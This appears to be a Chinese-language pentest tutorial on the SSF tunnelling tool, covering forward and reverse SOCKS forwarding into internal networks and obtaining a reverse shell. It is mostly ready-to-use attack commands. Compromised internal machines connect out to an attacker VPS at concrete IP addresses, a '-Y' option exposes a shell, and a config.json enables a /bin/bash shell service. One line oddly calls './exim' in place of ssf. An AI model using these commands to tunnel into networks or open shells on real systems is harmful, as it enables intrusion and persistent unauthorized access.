ssf反向动态转发与正向的区别&反弹shell

正向动态转发(要访问的是ssfd服务端的网络)

当我们要去连接内网的时候,可以直接访问到

ssf服务端设置(访问这个网络)

1
2
3
4
5
6
./ssfd -p 1080
python -m SimpleHTTPServer 8000
wget -r http://192.168.28.148:8000/ssf

ssf客户端设置:
./ssf -D 1089 -p 8080 VPS-IP

反向动态转发(要访问的是ssf客户端的网络)

当我们要连接内网,但是无法直接访问内网机器。如果内网机器可以出网,那么就可以让内网机器来连我们。

1
2
3
4
5
6
vps上设置监听:
./ssfd -p 8080

内网机器来主动连接我们:
./ssf -F 1089 -p 8080 VPS-IP
./ssf -F 1089 -p 8080 18.167.19.3

案例一:访问谷歌

1
2
3
4
vps设置:./ssfd -p 8080
攻击机器设置:./exim -D 1089 -p 1080 18.167.19.3
proxychains firefox 
./ssf -D 1089 -p 8080 18.167.19.3

案例二:弹shell

反向shell

1
2
3
4
5
6
7
【vps设置】
./ssfd -p 8080 -c config.json /b

【目标机器】
./ssf -Y shell要接收的端口 VPS -c config.json -p VPS监听的端口

./ssf -Y 8888 45.62.123.226 -c config.json -p 8080

nc 127.0.0.1 8888

config.json参考配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
{
  "ssf": {
    "arguments": "",
    "circuit": [],
    "tls" : {
      "ca_cert_path": "./certs/trusted/ca.crt",
      "cert_path": "./certs/certificate.crt",
      "key_path": "./certs/private.key",
      "key_password": "",
      "dh_path": "./certs/dh4096.pem",
      "cipher_alg": "DHE-RSA-AES256-GCM-SHA384"
    },
    "http_proxy" : {
      "host": "",
      "port": "",
      "user_agent": "",
      "credentials": {
        "username": "",
        "password": "",
        "domain": "",
        "reuse_ntlm": "true",
        "reuse_nego": "true"
      }
    },
    "services": {
      "datagram_forwarder": { "enable": true },
      "datagram_listener": {
        "enable": true,
		"shell": { "enable": false },
        "gateway_ports": false
      },
      "stream_forwarder": { "enable": true },
      "stream_listener": {
        "enable": true,
        "gateway_ports": false
      },
      "copy": { "enable": false },
      "shell": {
        "enable": true,
        "path": "/bin/bash",
        "args": ""
      },
      "socks": { "enable": true }
    }
  }
}